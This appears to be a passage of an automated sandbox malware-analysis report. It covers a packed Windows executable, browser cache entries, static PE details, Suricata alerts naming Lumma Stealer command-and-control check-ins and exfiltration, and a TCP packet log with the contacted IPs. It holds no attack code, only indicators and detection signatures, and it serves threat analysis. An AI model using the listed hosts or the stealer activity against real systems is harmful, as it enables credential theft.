Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948834266109499
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'883'136 bytes
MD5:	0ddcd6763d9c2104f94916ad73e8e3dc
SHA1:	f8b8cc9c9e7ac5d74241a7ea87a5a8f22a1dc4a9
SHA256:	6416d9d75910685b7906b1c59a7d58686ab2a662db443a1aecb2057e66cfde6a
SHA512:	ee12c0253de7874824e5eaf3e97d80e6a78d3022425821298f6624602b3c4e783e9f388119ca7431635ac7447f473412e31880b6931d1ca0896db095e9a32d39
SSDEEP:	49152:NPq/nyPGddethO8HCQfvQSnjiCfiRig2p3HDHa:snyeyhz7f9npiajH
TLSH:	5995338FEEE07310C905A737EEB193DA6E9FEF84DCA249950B47D6E2168774B7204025
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................`J...........@...........................J...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF39850236Ah
setp byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF398504365h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], bl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+04h], ah
add byte ptr [eax], al
push es
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], bl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jnle 00007FF3985022E2h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	5c37fd70077205da25a43cfb382b2164	False	0.9974280631188119	data	7.972929351390806	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2aa000	0x200	f56ce016ca48b16d7867179bd23bbfb1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gfsnpvyd	0x302000	0x1a3000	0x1a2400	09db5208a694d9f94badd117dc6974b4	False	0.9940880902570233	data	7.952873381530231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cievrdhi	0x4a5000	0x1000	0x400	02957b16e8635c58e9479086f6002002	False	0.7919921875	data	6.129572040151885	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a6000	0x3000	0x2200	72f7328eae6ec0eb0efa59cd7aac3b26	False	0.09237132352941177	DOS executable (COM)	1.0844742066132205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T20:21:10.502172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-18T20:21:11.390786+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-18T20:21:11.390786+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-18T20:21:12.321109+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-18T20:21:12.855198+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-18T20:21:12.855198+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-18T20:21:14.164007+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	188.114.97.3	443	TCP
2024-11-18T20:21:16.411261+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	188.114.97.3	443	TCP
2024-11-18T20:21:18.092684+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	188.114.97.3	443	TCP
2024-11-18T20:21:21.389166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-18T20:21:21.893978+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-18T20:21:23.017232+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	188.114.97.3	443	TCP
2024-11-18T20:21:28.066806+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49737	188.114.97.3	443	TCP
2024-11-18T20:21:28.829648+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49737	188.114.97.3	443	TCP
2024-11-18T20:21:29.782337+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49748	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 20:21:04.978178978 CET	49674	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:04.978207111 CET	49675	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:05.118891954 CET	49673	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:21:09.821434975 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:09.821516037 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:09.821611881 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:09.823237896 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:09.823276043 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:10.502029896 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:10.502171993 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:10.506386042 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:10.506412029 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:10.506820917 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:10.556328058 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:10.628973007 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:10.629018068 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:10.629256010 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.390837908 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.391086102 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.391230106 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.466227055 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.466227055 CET	49704	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.466305017 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.466346979 CET	443	49704	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.656661987 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.656708002 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:11.656800032 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.657196999 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:11.657212973 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.320981026 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.321109056 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.323201895 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.323216915 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.324031115 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.326375961 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.326415062 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.326462984 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855256081 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855441093 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855549097 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855635881 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855696917 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.855696917 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.855729103 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855767965 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.855819941 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855878115 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.855885029 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.855979919 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.856031895 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.856038094 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.900064945 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.900073051 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.946952105 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.972093105 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972188950 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972251892 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972254992 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.972268105 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972327948 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.972341061 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972382069 CET	443	49705	188.114.97.3	192.168.2.5
Nov 18, 2024 20:21:12.972429991 CET	49705	443	192.168.2.5	188.114.97.3
Nov 18, 2024 20:21:12.972589970 CET	49705	443	192.168.2.5	188.114.97.3
